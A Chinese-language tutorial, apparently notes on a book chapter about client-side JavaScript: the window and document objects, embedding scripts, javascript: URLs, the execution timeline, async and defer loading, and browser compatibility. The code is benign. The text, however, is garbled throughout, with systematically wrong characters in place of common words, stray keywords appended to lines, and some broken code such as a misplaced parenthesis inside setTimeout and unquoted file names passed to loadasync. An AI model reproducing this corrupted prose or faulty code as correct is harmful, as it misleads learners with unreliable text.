客户端javascript涵盖在本系列的第二部分第10章,主要讲解javascript是如何在web浏览器中实现的,这些章节介绍了大量的脚本宿主对象,这些对象能够表示浏览器窗口、文档树的内容。这些章节一样涵盖重要的web应用所须要的网络编程API、本地存储和检索数据、画图等。主要包含内容有如下章节:javascript
web浏览器中的javascript / window对象 / 脚本化文档 / 脚本化css / 事件处理 / 校本化http / jQuery类库 / 客户端存储 / 多媒体和图形编程 / HTML5APIcss
本书的第一部分介绍了javascript语言核心,第二部分开始转向web浏览器中的javascript讨论。迄今为止,咱们的大部分例子是合法的javascript代码,带是没有特定的上下文,也就是说它们运行在不明的环境总。本章节提供了一个能够容许javascript上下文。html
在开始讨论javascript以前,考虑下web浏览器是怎么呈现页面的,其静态页面称为文档(document),相对于文档来讲,洽谈web页面甘江更像是应用。若是须要的话,这些页面能够载入新的新想,所以看起来图形化,而非文本化,而且它们能够进行离线操做,以及保存数据倒本地,以便再次访问进行状态恢复。此外,还有其它web页面处于文档和应用的中间,结合了二者的特性。html5
本章以客户端javascript概述开始,包括一个简单的例子,以及对javascript如何在web文档和web应用中角色讨论。概述内容还介绍了那些内容会在后续章节中提到,接下来会详细解释javascript代码在html文档中如何嵌入,而后介绍兼容性、可访问性和安全性等问题。java
1.客户端javascriptnode
window对象是全部客户端javascript特性和API的主要接入点。它表示web浏览器的一个窗口或窗体,而且能够用window表示来引用它。window对象定义了一些属性,好比:Location对象的location属性,Location对象指定当前显示在窗口的URL,并容许脚本往窗口里载入新的URL。程序员
//设置location属性,跳转至新的页面 window.location.href = "http://www.baidu.com" //location.href = "http://www.baidu.com"
window对象还定义了一些方法,好比alert(),能够弹出一个对话框用来显示一些信息,还有setTimeout(),能够注册一个函数,在给定的一些时间内触发一个回调web
setTimeout(function(){alert("5秒跳转"),1000}); setTimeout(function(){location.href = "http://www.baidu.com"},5000)
注意上面的代码并无显式的使用window 属性。在客户端javascript中,window对象 也是全局对象。这意味着window对象处于做用域链顶部,它的属性和方法其实是全局变量和全局函数。window对象有一个自身引用的属性,叫作window。若是须要引用窗口对象自己,引用引用这个属性。可是若是只想引用全局窗口对象的属性,一般不须要用到window。chrome
window对象还定义了不少其余重要的属性、方法和构造函数,参见12章查看完整细节。编程
window对象中一个重要的属性是document,它引用Document对象,后者表示显示在窗口中的文档。Document有一些重要的方法,好比getElementByid(),能够基于元素的id返回单一的文档元素,(表示html标签的一对开始/结束标记,以及它们之间全部的内容):
//查找id="timestamp"元素 var timestamp = document.getElementById("timestamp")
getElementById()返回的Element对象有其它重要的属性和方法,好比容许脚本获取它的内容,设置属性值等:
//若是元素为空,往里边插入的哪一个区日期和事件 if (timestamp.firstChild == null) timestamp.appendChild(document.createTextNode(new Date().toString()));
查询、遍历和修改文档将在12章作介绍。
每一个Element对象都有style和className属性,容许脚本指定元素css样式,或修改元素上的css类名,设置这些css相关的属性会改变文档元素的呈现:
timestamp.style.backgroundColor="red";
指定样式className
//或者修改类,让样式指定具体内容 timestamp.className = "heightlight TopDarkNav"
14章会讲解style和className属性和其它css编程技术
window、Document和Element对象上另外一个重要的属性集合是事件处理程序相关的属性。能够在脚本中为止绑定一个函数,这个函数会在某个事件发生时以异步的方式调用。
事件处理程序可让javascript代码修改窗口,文档和组成文档的元素的行为。事件处理程序是以单词"on"开始的,用法以下:
//当用户单击元素时,更新它的内容 timestamp.onclick = function(){this.innerHTML = new Date().toDateString();}
window对象的onload对象处理程序是最重要的事件处理程序之一。当显示在文档内的内容文档且能够操做时触发。javascript代码一般封装在onload事件处理程序里。15章会详细讲述事件。
下面的例子是onload处理程序的演示,并展现了客户端javascript的实例代码,包括查询文档元素,修改css类和定义事件处理程序。注意代码里的函数是在另外一个函数里定义的。由于事件处理程序的普遍使用,是的嵌套函数在客户端javascript中很是广泛。
<head> <meta charset="utf-8"> <style type="text/css"> .reveal * { display: none; } .reveal *.handle { display: block; } </style> <script type="text/javascript"> window.onload = function() { //全部页面逻辑加载完毕后启动 var element = document.getElementsByClassName("reveal"); for (var i = 0; i < element.length; i++) { //对每一个元素进行遍历 var elt = element[i]; //找到容器中的“handle”元素 var title = elt.getElementsByClassName("handle")[0]; addRevealHandler(title, elt); console.log(elt.className); } function addRevealHandler(title, elt) { title.onclick = function() { if (elt.className == "reveal") elt.className = "revealed"; else if (elt.className == "revealed") elt.className = "reveal"; } } }; </script> </head> <body> <div class="reveal"> <h1 class="handle">文字title(Click Here)</h1> <p>文字内容</p> </div> </body>
在本章的概要介绍到了,一些web页面感受上像文档,而另外一些则像应用。接下来的两节探讨javascript在两种页面类型里是如何使用的
i.web文档里的javascript
javascript程序能够经过Document对象和它包含的Element对象遍历和管理文档内容。它能够经过操做css样式和类,修改文章内容的呈现。而且能够经过注册事件的处理辰星来定义文档的元素行为。内容、呈现和行为的组合叫动态HTML或者DHTML,会在13-17章里介绍到
javascript能够加强用户的体验:好比如下方式:
ii.web应用里的javascript
在web文档库使用的javascript DHTML特性在web应用里都会用到,对于web应用来讲,除了内容、呈现和操做api以外,还依赖web浏览器环境提供更基础的服务。‘
要真正的了解web应用,须要先认识web浏览器已经有很好的发展了,如今不只仅是显示温度的角色了,而已经变成简易的操做系统。操做系统定义不少底层的API、提供绘制图形,保存文件等功能。web浏览器也定义了底层API(16章)、保存数据(18章),和绘制图形(19章)。
谨记web浏览器是简单的操做系统的概念,这样就能够把web定义问用javascript访问更多浏览器提供的高级服务(好比网络、图形和数据存储)的web页面。高级服务里最著名的是XMLHTTPRequest,能够对HTTP请求编程来启动网络。web里是固体这个从服务器获取新信息,而不用重新载入页面。相似这样的web应用一般胶Ajax应用,Ajax构成了web2.0的脊梁。XMLHTTPRequest会在16章详细介绍。
HTML5标准和相关标准为web应用定义了不少其余重要的API,如地理位置信息,历史管理和后台线程。使用这些API后,会开启一场web应用的功能革命。这些内容在20章会介绍。
固然,javascript在web里的应用比在文档里显得更重要。javascript加强了web文档。可是良好的设计的文档须要在禁用了javascript后还能继续工做。web应用的本质就是javascript程序。
2.在html嵌入javascript
接下来小节会介绍4中javascript嵌套技术。可是,值得注意的是,html事情处理程序属性和javascript:url这两种方式现代的javascript代码里已经不多使用。内联脚本(没有src)也比之前用的更少了。主张内容(html)和行为(javascript)代码应该尽可能保持分离。根据这个编程哲学,javascript最好经过<script>的src属性嵌入到html文档里
i.<script>元素
<script> //javascript代码 </script>
在XHTML中<script>标签的内容被当作其它内容同样对待。若是javascript代码包含了"<"或"&"字符,那么这些字符会被解释成xml标记,所以,若是使用XHTML,最好把全部的javascript代码放到一个CDATA部分里
<script><![CDATA[ //这里是javascript代码 ]]></script>
下面的例子展现了一个简单的javascript程序。注释解释了这个辰星是作什么的。主要演示javascript代码以及css样式表是如何嵌入到html文件里。
<script type="text/javascript"> //定义一个函数显式当前时间 function displayTime() { var elt = document.getElementById("clock"); var now = new Date(); elt.innerHTML = now.toLocaleTimeString(); //显式它 setTimeout(displayTime, 1000); } window.onload = displayTime; </script> <body> <div id="clock"> </div> </body>
ii.外部文件中的脚本
外部文件中的脚本它的用法以下:
<script src="unit.js"></script>
javascript文件通常以.js结尾,它包含纯粹的javascript代码
使用src属性时,<script></script>标签之间的任何内容都会忽略掉,若是须要,能够在此处不错说明文档和版权信息,但要注意,若是有任何非空格或javascript的注释文本出如今此,html5校验器会报错。
咱们一般看到如下代码
<script src="unit.js"> config = {...}; </script>
这段戴拿定义了一些配置项,有unit.js来读取,这是一种将页面传入库文件的方法,在javascript库中的开发中十分常见,其中<script></script>之间是一段纯文本,在unit.js读取时这段文本而后执行一次,浏览器不会自动执行script>中的代码。
下面是一些使用src属性的javascript的优势
咱们一般看到如下代码
从服务器以外的服务器里载入脚本有重要的安全隐患,6.ii节介绍的同源安全策略会阻止一个域文档的javascript和另一个域的内容进行交互。可是,要注意和脚本自己的来源并无关系,而是和脚本嵌入的文档来源有关系。所以,同源策略和并不适合用在如下的状况,即使代码和文档有不一样的来源,javascript代码也能够和它嵌入的文档进行交互,当在页面中用src脚本时,就给了脚本做者(这段脚本域的网站管理员)彻底控制web页面的权限。
iii.脚本类型
javascript是web元素脚本语言,而在默认的状况下,假定<script></script>包含或引用javascript代码,若是使用不标准脚本语言,就必须用type指定MIME类型:
<script type="text/vbscript"> //这里是VBScript代码 </script>
type的默认属性是"text/javascript",若是须要,能够显式的指定此类型,但彻底不必。老的浏览器在标记上用language代替type标记,这样的状况如今偶尔也看到。language属性已经废除,不该该再使用了
当web浏览器遇到<script></script>元素,而且当这个元素里包含其值不被浏览器识别的type属性时,它会解析这个元素但不会尝试显示或者执行它的内容。这意味着可使用<script>元素来嵌入任意文本数据倒文档里,只要用type属性声明一个不可执行的类型。要获取数据,能够属于script元素(13章会介绍若是获取这些元素)HTMLElement对象的text属性。可是,要注意这些数据嵌入只对内联脚本生效(steven souder著名的Controljs就是利用这个特性来控制代码的执行。)若是src属性和一个未知的类型。这个脚本会被忽略。而且不会从url下载任何内容。
iiii.HTML中的事件处理程序
当脚本所在的HTML文件被载入浏览器时,这个脚本里的javascript代码只会执行一次。为了可交互,javascript程序必须定义事件处理程序,web浏览器先注册javascript函数,而且在以后调用它做为事件的相应(好比用户输入)。正如本章开始例子展现的,javascript代码能够经过把函数赋值给Element对象的属性(好比onclick或onmoseover)来注册事件处理程序。(还有其它注册事件程序的方法,参见15章),这个Element对象表示文档里的一个HTML元素。
相似onclick的事情处理程序属性,用相同的名字对应到HTML属性,而且还能够经过将javascript代码放置在HTML属性里来定义事件处理程序。例如:要定义用户切换表单中的复选框调用的事件处理程序,能够做为表示复选框的html元素的属性指定处理程序的代码:
<input type="checkbox" name="options" value="gifwrap" onchange="order.options.giftwarp = this.checked" />
这里的onchangge属性比较有意思,这个属性值里的javascript代码会在用户选择或取消选择复选框时执行。
HTML中定义的事件处理程序的属性能够包含任意挑javascript语句,相互之间用逗号分隔。这些语句组成一个函数体,而后这个函数称为对于事件处理程序属性的值。(15.2.ii会详细介绍HTML属性文本定义到javascript函数的转换。)可是,一般HTML事件处理程序的属性有相似上面的简单赋值或定义在其它地方的简单函数调用组成。这样能够保持大部分实际的javascript代码在脚本里,而不用把javascript和html混在一块儿。实际上,不少web开发者认为使用HTML事件处理程序是很差的习惯,他们更喜欢保持内容和行为的分离。
iiiii.URL中的javascript
在URL后面跟一个javascript:协议限定符,是另一种javascript代码到客户端的方式。这种特殊的协议类型指定URL内容为任意字符串,这个字符串会被javascript解释器运行的javascript代码。它被当作单独的一行代码对待,这意味着语句之间必须用分号隔开,而//注释必须用/**/注释代替。javascript:URL能是不“资源”是转换成字符串的执行代码的返回值。若是代码返回undefiend,那么这个资源是没有内容的。
javascript:url能够用在可使用常规URL的任意地方:好比<a>标记的href属性,<form>的action属性,甚至window.open()方法的参数。超连接里的javascript url能够是这样的。
<a href="javascript:new Date().toLocaleTimeString()">what time it is</a>
部分浏览器(好比firefox)会执行URL里的代码,并使返回的字符串做为待显新文章的内容。就像单击一个超连接。浏览器会擦除当前文档并显示新文档。其它浏览器(好比chrome和safari)不容许URL像上面同样覆盖当前文档。可是,这样的url仍是支持的
<a href="javascript:alert(new Date().toLocaleTimeString())">what time it is</a>//检查时间,而不覆盖整个文档
部分浏览器载入这种类型的URL时,它会执行javascript代码,可是因为没有返回值(alert()方法返回undefined),做为新的文档显示内容。相似firefox的浏览器并不会替换当前显示的文档。要确保javascript:void不会替换当前的文档,能够用void操做符强制函数调用或给表达式赋予undefined值。
<a href="javascript:void window.open('http://www.baidu.com')">baidu</a>
和html事件处理程序同样,javascript:url也是web早期的产物。一般避免在现代的网页中使用。但javascript:url在html文档以外确实有着重要的角色。若是要测试一段短javascript代码,那么能够在浏览器地址栏里输入javascript:URL,下面会介绍javascript:URL另一个正统且强大的用法:浏览器书签。
3.javascript里的程序的执行
客户端javascript没有严格的定义,咱们能够说javascript程序是由web页面中所包含的全部的javascript代码。全部的代码共用一个全局window对象。这意味着它们能够看到相同的Document对象,能够共享全局变量或函数,那么这个变量或函数会在脚本执行以后对任意javascript可见。
若是一个页面包含嵌入窗体(一般使用<iframe>),嵌入的javascript和被嵌入的javascript代码会有不一样的全局对象,它能够看作一个单独的javascript程序。可是,要记住,没有严格关于javascript程序范围的定义。若是外边和里边的文档来自于同一个服务器,那么两个文档中的代码就能够进行交互,而且若是你愿意,就能够把他们当作同一个程序的两个相互做用的部分。12.8.iii会详细介绍window对象以及不一样窗体之间的交互。
javascript程序的执行有两个阶段。在第一个阶段,载入文档内容,并执行<script>元素的代码(包括内陆脚本和外部脚本)。脚本一般按照它们在文档中出现的顺序执行。全部脚本里的代码都是从上往下,按照它在条件、循环以及其余控制语句中出现的顺序执行。
第二个阶段,当文档载入,全部脚本执行完成后,javascript就进入第二个阶段。这个阶段是异步的,并且是由事件驱动的。在时间驱动阶段,web浏览器调用处理程序函数(由第一阶段里执行的脚本指定的html事件处理程序,或以前调用的时间处理程序来定义),来响应时间异步事件的发生。调用事件处理程序一般是响应用户输入(如鼠标单击,键盘按下)。可是还能够由网络活动、运行时间、或者javascript代码中的错误来触发。15章会详细介绍事件和事件处理程序。本章2.ii节也会进行更多的讨论。注意,嵌入在web页面里的javascript:URL也能够当作一种事件处理的程序,直到用户单击或者提交表单以后才会有效果。
事件在驱动阶段第一个发生的事件是load事件,表示文档已经彻底载入,并能够操做。javascript常常经过这个事件来触发或发送消息。
咱们会常常看到一些定义函数的脚本程序,除了定义一个onload事件处理函数外不作其它操做,这个函数会在脚本事件驱动阶段开始时被load触发。正是这个onload事件会对文档进行操做,并作程序想作的任何事。javascript程序的载入是短暂的,一般持续1到2秒,在文档载入完成以后,事件驱动阶段就会一直持续下去。由于这个阶段是异步和事件驱动的,因此可能有长时间处于不活动状态。没有javascript被执行,被用户或网络事件触发的活动打断。本章3.iiii javascript执行的两个阶段。
核心javascript和客户端javascript都有一个单线程执行模型。脚本和事件处理程序(不管如何)在同一个时间里只能执行一个,并无并发性。这保持了javascript编程的简单性。本章3.iii会作介绍。
i.同步、异步 或延迟的脚本
javascript第一次添加到web浏览器时,尚未api能够用来遍历和操做文档的结构内容,当文档还在载入时,javascript惟一方法就是快速生成内容。它使用document.write()完成上述内容,下面就是1996最早进的javascript的代码的样子:
function factorials(n){ //用来计算阶乘的函数 if(n<=1) return n; else return n*factorials(n-1); } document.write("<table>"); document.write("<tr><th>n</th><th>n!</th></tr>"); //输出表头 for(var i = 1; i<10;i++){ //输出10行 document.write("<tr><td>"+ i +"</td><td>" + factorials(i) +"</td></tr>"); } document.write("</table>");
当脚本把文本传递给document.write()时,这个文本被添加到文档输入流中,html解析器会在当前位置建立一个文本节点,将文本插入到这个文本节点后面。并不推荐使用document.write(),但在某些场景下有很重要的用途(13.10.ii节)。当HTML解析器遇到<script>元素时,它默认必须先执行脚本,而后再恢复文档的解析和渲染。这对于内联脚本没有什么问题,但若是在javascript具备src属性指定外部属性指定外部条件,这意味着脚本后面的文档部分在下载和执行脚本以前,都不会出如今浏览器中(所谓的“不出如今浏览器中”是指文档的文本内容已经载入,可是并未被浏览器引擎解析为DOM树,而DOM树的生成是受javascript代码“阻塞”页面UI的渲染)。
脚本的的执行只在默认的状况下是同步和阻塞的。<script>标签能够有defer和async属性,这能够改变脚本的执行方式。这些都是布尔属性,没有值;只须要出如今<script>标签里便可。HTML5说这些属性只在Src属性联合使用时才能有做用,但有些浏览器还支持内联的脚本。
<script defer src="1.js"></script> <script async src="1.js"></script>
defer和async属性都像在告诉浏览器连接进来的脚本不会使用document.write(),也不会生成文档内容,所以浏览器能够在下载脚本时继续解析和渲染文档。defer属性是使得的浏览器延迟脚本的执行,直到文本的载入和解析完成,并能够操做。async属性使得浏览器能够尽快的执行脚本,而不用在下载脚本时阻塞文档解析。若是<script>标签同时有两个属性,同时支持二者的浏览器会遵循async属性并忽略defer属性。
注意,延迟的脚本会按照它们在文档里的出现顺序执行。而异步脚本在它们载入后执行,这意味着它们可能会无序执行。
在不支持async的属性的浏览器里,经过动态的建立<script>元素并把它插入到文档中,来实现脚本的异步载入和执行。下面的例子中loadasync()函数完成了这个工做。13会介绍它使用的技术。
/*异步载入并执行脚本*/ //异步载入并执行一个指定url中的脚本 function loadasync(url) { var head = document.getElementsByTagName("head")[0]; //找到<head>元素 var s = document.createElement("script"); //建立一个<script>元素 s.src = url; //设置其src属性 head.appendChild(s); //将预算插入head标签中 } loadasync(11.js); loadasync(12.js); loadasync(13.js);
注意这个loadasync()函数会动态的载入脚本-脚本载入到文档中,成为正在执行的javascript程序的一部分,既不是经过web页面内联包含,也不算来自web页面的静态引用。
ii.事件驱动的javascript
在上面的factorials()函数展现了javascript程序是同步载入的程序:在页面载入时开始执行,生成一些输出,而后结束。这种类型的程序在今天已经不常见了。反之,咱们经过注册时间处理程序来写程序。以后在注册的事件发生时异步调用这些函数。例如,想要为经常使用操做启用键盘快捷键的web应用会为键盘事件处理程序。甚至非交互的程序也使用事件。假如想要写一个分析文档结构并自动生成文档内容的表格程序。程序不须要用户输入事件的事件处理程序,但它仍是会注册onload事件处理程序。这样就知道文档在何时载入完成并能够生成内容表格了。
事件和事件处理是15章的主题,可是这一节会提供一个快速概述。事件都有名字,好比click、change、load、mouseover、keypress、readystatechange,指示发生的事件的通用类型。事件还有目标,它是一个对象,而且事件就是在它上面发生的。当咱们谈论事件时,必须指定事件的类型(名字)和目标,好比一个单击事件发生在HTMLbutton对象上,或者一个readystatechange事件发生在XMLHttpRequest对象上。
若是想要呈现响应一个事件,写一个函数,叫作“事件处理程序”、“事件监听器”、“回调”。而后注册这个函数,这样它就会在事件发生时调用它。正如前面提到的,这能够经过HTML属性来完成,不鼓励把javascript程序和HTML内容混淆在一块儿。反之,注册事件处理程序最简单的方法就是把javascript函数赋值给目标对象属性,相似这样写代码:
window.onload = function(){...}; document.getElementById("xx").onclick = function(){...}; function handleResponse(){...} request.onreadystatechange = handleResponse;
注意,按照约定事件处理程序的属性的名字是以“on”开始,后面跟着事件的名字。还要注意在上面的人和代码里没有函数调用:只是把函数自己赋值给这些属性。
浏览器会在这些事件发生时调用,用事件进行异步编程常常会涉及到嵌套函数,也常常要在函数的函数里定义函数。
对于大部分浏览器事件来讲,会把一个对象传递给事件处理程序做为参数,那个对象的属性提供了事件的详细信息。好比传递给单击事件的对象,会有一个属性说明那个按钮被单击。(在IE里,这些信息存储在全局event对象里,而不是传递给处理程序的函数。)事件处理程序的返回值有时用指定函数是否处理了事件。以及阻止浏览器执行它默认会进行的各类操做。
有些事件的目标是文档元素,它们常常往上传递给文档树,这个过程叫“冒泡”。例如,若是用户在<button>元素上单击鼠标,单击事件就会在按钮上触发。若是注册在按钮上的函数没有处理(而且冒泡中止)该事件。事件冒泡到按钮嵌套的容器元素。这样,任何注册在元素上的单击事件都会调用。
若是须要为一个事件注册多个事件处理程序函数,或者若是想要写一个能够安全注册事件处理程序的代码模块,就算另外一个模块已经为相同的事件注册了一个处理程序,也须要用到另外一种事件处理程序注册技术。大部分能够成为事件目标对象都有一个叫作addEventListaner()方法,容许注册多个监听器:
window.addEventListener("load",function(){...},false); request.addEventListener("readystatechange",function(){...},false);
注意,这个函数的第一个参数是事件的名称。虽然addEventListener()已经标准化超过了10年,而微软目前只在IE9里实现了它。在IE8以前的浏览器中,必须使用一个类似的方法,叫作attachEvent():
window.attachEvent("onload",function(){...});
在第15章会看到更多关于addEventListener()和attachEvent()内容。
客户端javascript还使用异步通知类型,这些类型每每不是事件。若是设置window对象的onerror属性为一个函数,会发生(参加12.6节)javascript错误(或者其它未捕获的异常)时调用函数。还有setTimeout()和setInterval()函数(这些是window对象方法,所以是客户端javascript的全局函数)会在指定的一段时间以后出发指定函数的调用。传递给setTimeout()的函数和真实时间处理程序的注册不一样,它们一般叫作“回调逻辑”而不是“处理程序”,但它们和时间处理程序同样,也是异步的。参加12.1得到更多关于setTimeout()和setInterval()函数的信息。
下面的例子演示了setTimeout()、addEventlistenter()和attachEvent()、定义一个onload()函数注册在文档载入完成时执行的函数。
/*当文档载入时调用一个函数*/ //注册函数f,当文档载入时执行这个函数f //若是文档已经载入完成,尽快以异步的方式执行它 function onLoad(f) { if (onLoad.loaded) //若是文档已经载入完成 window.setTimeout(f, 0); //将f放入异步对了,并尽快执行它 else if (window.addEventListener) //注册事件的标准方法 window.addEventListener("load", f, false); else if (window.attachEvent) window.attachEvent("onload", f); } //给onLoad设置一个标志,用来指定文档是否已经载入完成 onLoad.loaded = false; //注册一个函数,当文档载入完成时使用这个标志 onLoad(function() {onLoad.loaded = true;});
iii.客户端javascript线程模型
javascript语言核心并不包含任何线程机制,而且客户端javascript传统上也没有定义任何线程机制。html5定义了一种做为后台线程的"webworker",可是客户端javascript仍是像严格的单线程同样工做。
单线程执行是为了让编程更加简单。编写代码时能够确保两个事件处理程序不会同一时刻运行。操做文档内容时没必要担忧有其它线程试图修改文档。而且永远不须要担忧javascript编写时的锁死,死锁和竟态条件。
单线程执行意味这浏览器必须在脚本和事件语句程序执行时候中止响应用户输入。这为javascript程序员带来了负担。这意味这javascript脚本和事件处理程序不能运行太长事件。若是一个脚本执行计算密集的任务,它将会给文档载入带来延迟。若是事件程序执行计算密集任务,浏览器可能变得没法响应,可能致使用户认为浏览器奔溃了。
若是程序执行的不太多计算致使明显的延迟,在文档没有彻底载入前,能够告知用户正在运行计算而且浏览器没有挂起。若是有可能能够将其分解为离散子任务。可使用setTimeout()和setInterval()在后台运行子任务。
HTML5定义了一种并发控制方式,“web worker”,它是一个用来执行计算密集任务而不冻结用户界面的后台线程。运行在web worker线程里的代码不能访问文档里的内容,不能和主线程或其它worker共享状态,只能够和主线程和其它worker经过异步事件进行通讯,因此主线程不能检测并不是行,并且web worker不能修改javascript程序基础单线程执行模型。20章4节会有更多相关内容。
iiii.客户端javascript时间线。
咱们已经看到javascript程序从脚本执行阶段开始,而后切换到事件处理阶段。本节会详细地解释javascript程序执行的时间线:
这是一条理想的时间线(网友本身理解版本)
1、建立document对象,开始解析web页面。建立HTMLHtmlElement对象,添加到document中。 建立HTMLHeadElement添加到HTMLHtmlElement中等等,总之遇到不一样的标签建立不一样的element、node等等,这个阶段document.readyState = 'loading'。 2、遇到link外部css,建立线程加载,并继续解析文档。 3、遇到script外部js,而且没有设置async、defer,浏览器建立线程加载,并阻塞,等待js加载完成并执行该脚本,而后继续解析文档。 4、遇到script外部js,而且设置有async、defter,浏览器建立线程加载,并继续解析文档。 对于async属性的脚本,脚本加载完成后当即执行。 能够采用document.createElement('script')的方式动态插入script元素来模拟async属性,实现脚本异步加载和执行。 5、遇到img等,浏览器建立线程加载,并继续解析文档。 六、当文档解析完成,document.readyState = 'interactive'。 7、文档解析完成后,全部设置有defer的脚本会按照顺序执行。(注意与async的不一样) 8、document对象触发DOMContentLoaded事件,这也标志着程序执行从同步脚本执行阶段,转化为事件驱动阶段。 九、当全部async的脚本加载完成并执行后、img等加载完成后,document.readyState = 'complete',window对象触发load事件。 10、今后,以异步响应方式处理用户输入、网络事件等。 注:document的每一次readyState属性变化,都会触发readystatechange事件。
可是全部的浏览器都没有支持它的所有细节。全部的浏览器广泛支持load事件,都会触发它。它是决定文档彻底载入并可操做的最通用技术。
DOMcontentLoaded事件在load事件以前触发,当前全部的浏览器都支持这个事件,除了IE以外,document.readyState属性已经被大部分浏览器实现。可是这个属性在浏览器之间还存在差异。async属性还不通用,使用上文中的loadasync()函数动态载入脚本的能力能让程序的执行脚本载入阶段和事件驱动之间界限更模糊。
这条时间线并无指定何时文档开始对用户可见或何时web浏览器必须开始响应用户输入事件。这些都是实现细节。对于很长的文档或很是慢的网络链接。web浏览器理论上会先渲染一部分文档。而且在脚本执行以前,就能容许用户和页面产生一些交互。这种状况下,用户输入事件可能在程序执行的事件驱动开始以前触发。
4.兼容性和互用性
web浏览器是web应用的操做系统,可是web是一个存在各类差别性的环境,web文档和应用在不一样的操做系统(windows、Mac OS、Linux、iPhone OS、Abdroid)不一样开发商(microsoft、Mozilla、Apple、Google、Opera)的不一样时代的浏览器(从预览版到相似IE6这种十多年以前的浏览器)上查看和运行。可以写出一个健壮的javascript程序并能正确地运行在这么多类型的平台上,的确是一种挑战。
客户端javascript兼容性和交互性的问题能够概括为如下三个类:
演化:
web平台一直在演变和发展当中。一个标准规范会倡导一个新的特性或API。一个新的特性看起来有用,浏览器开发商实现它,开发者开始使用这个特性。有一种状况是新的特性以及被添加到web中,新浏览器支持它可是老浏览器不支持。web开发者必先在使用老旧浏览器的大量用户和使用新式浏览器的少许用户之间作出权衡。
未实现:
举例说明:IE8不支持<canvas>元素,虽然其余浏览器已经实现它了。一个更糟糕的例子是,Microsoft决定不实现DOM Level2 Event规范(它定义了addEventListener()和相关方法。。)这个规范在12年前就已经标准化了,其余浏览器厂商已经支持了好久了
bug:
每一个浏览器都有bug,而且没有按照规范准确地实现全部客户端javascriptAPI,必须研究已有浏览器中的各类bug
幸运的是,javascript语言自己是被全部浏览器厂商实现的。它不是兼容性问题的源头。在老式的浏览器ECMAScript3和新式的ECMAScript5之间转换会致使兼容性问题,由于一些浏览器会支持严格模式而其余的不支持。浏览器厂商对ECMAScript5的实现是基本相互通用的。
首先,要解决javascript的兼容性的问题是要了解问题的根源是什么。web浏览器版本更迭更快。咱们能够常去这些网站查询信息:
MOzilla开发者中心
https://developer.mozilla.org
microsoft 开发者中心
https://msdn.microsoft.com/zh-cn/
apple开发者中心 safari
https://developer.apple.com/safari/tools/
Google Doctype
致力于帮助Web开发人员,目前尚处于Beta阶段,其中已经包含多篇由Google顶级开发人员撰写的关于网络安全、网页性能、JavaScript DOM处理、CSS技巧等方面的内容,能够做为Web开发者的参考资料库
http://code.google.com/doctype/
http://a.deveria.com/caniuse/
这个“什么时候可用...”站点跟踪重要web特性实现的状态,容许根据各类标准进行过滤,并在某个特性只剩下少许已部署的浏览器不支持时推荐使用。
http://quirksmode.org/dom/
根据w3c标准列出各类浏览器的DOM兼容性表格
固然,意识到浏览器之间的兼容性问题只是第一步。接下来,你须要解决这些不兼容性。一种策略是限制之间使用你选择支持的全部浏览器广泛支持的特性(或者很容易模拟出的特性)。以前提出的“什么时候可用...”这个网站就是围绕这个策略的。它列出了ie6淘汰以后才能用的新特性。
下面介绍一个消极对付客户端不兼容性问题的策略。
i.处理兼容性问题的类库
处理不兼容问题其中一种最简单的方法就是使用类库。好比考虑图像的<canvas>元素(19章主题)、IE(8)是惟一不支持这个特性的当前浏览器。在开源的"explerer canvas"项目上有一个类库,引入一个javascript文件叫excanvas.js,而后IE就会看起来像支持<canvas>元素同样。这个兼容类库是一个很纯粹的例子。
在开发过程当中,可能会对某个特性编写相似的库。ECMAScript5数组方法(7.9节),好比forEach(),map()和reduce(),能够在ECMAScript3中完美模拟,而且经过把合适的类库添加到页面中,能够把这些强大有用 的方法当作全部浏览器平台基线的部分。
可是有时候,不可能彻底地(或有效地)在一个不支持某个特性的浏览器上实现一个特性,就像一件提到的,IE是惟一没有实现标准事件处理API的浏览器,包括注册事件处理程序addEventListener()方法。iE的attachEvent()不像addEventListener()同样强大,而且在IE提供的继承上透明地实现整个标准并不是可行。反之,开发者要有一个折中的处理方法,一般叫addEvent,它能够用attachEvent()不像addEventListener()来方便实现绑定事件功能。而后,它们在全部的代码里用addEvent()来代替addEventListener()和attachEvent()。
在实际开发工做中,今天很多web开发者在它们的页面上使用看客户端javascript框架。好比jQuery(17章)。使这些框架必不可少的一个重要功能是:它们定义了新的客户端API并兼容全部浏览器。例如在jQuery中,事件处理程序的注册是经过叫bind()方法完成的,若是你基于jQuery作web开发,就永远不须要考虑addEventListener()和attachEvent()之间不兼容的问题。
ii.分级浏览器支持
分级浏览器支持(graded browser support)是由yahoo!率先提出的一种测试技术。分级浏览器中的A级要经过所需网页彻底可用,C级浏览器只需在HTML完整的状况下可用便可,而不须要javascript和css都正常工做,C级浏览器都称做X级浏览器,这部分是全新或者罕见的浏览器。咱们默认这些浏览器网页是彻底可用的。但官方不会对X级浏览器的功能提供完整的支持和测试。(11年第四季度统计,yahoo!已经再也不将浏览器划分为A级和C级。而是统一给出测试基准。根据此次更新 ,能够明显感受到测试基准向移动端倾斜)
iii.功能测试
功能测试(capability testing)是解决不兼容性问题的一种强大的计算。若是你想试用某个功能,但又不清楚这个功能是否在全部的浏览器中都有比较好的兼容性,则须要在脚本中添加相应的代码来检测是否在浏览器中支持该功能。若是指望使用的功能尚未被当前的平台所支持,要么不应在平台中使用它,要么提供可在平台上运行的代码。
你将会在后面的各章节中一次又一次地看到功能体验测试。例如在第15章,有以下面所示的代码:
if (element.addEventListener) { //在使用这个w3c以前首先检测它是否可用 element.addEventListener("keydown",handler, false); element.addEventListener("keypress",handler, false); } else if (element.attachEvent) { //在使用该ie方法以前 element.attachEvent("onkeydown", handler); element.attachEvent("onkeypress", handler); } else { //不然选择广泛支持的技术 element.onkeydown = element.onkeypress = handler; }
关于功能测试最重要的是,它并不涉及浏览器开发商和浏览器版本号,代码在当前浏览器集合中有效,在浏览器后续的版本中也一样有效,而无论后续的浏览器是否实现了这些功能集合。但要注意的是:这种方法须要测试某个属性或方法是否在浏览器中已经定义了,出发该属性或方法彻底可用,若是Microsoft要定义一个addEventListener()方法,但Microsoft只是实现了一部分W3c规范,在调用addEventListener()以前这将会给使用特性的代码带来不少麻烦。
iiii.怪异模式和标准模式
Microsoft在发布IE6的时候,增长了IE5里没有的不少css标准特性。但为了确保为了web内容的向后兼容性,它定义了两种不一样的渲染摩丝。在“标准模式”或“css兼容模式”中,浏览器要遵循css标准,在“怪异模式”中,浏览器表现的和IE4和IE5中的怪异非标准模式同样,渲染模式的选择依赖于html文件顶部的DOCTYPE声明,在IE6中打开没有DOCtype的页面,会按照标准模式进行渲染。定义了html5 <!DOCTYPE HTML>的页面在全部现代浏览器都会按照标准模式渲染。
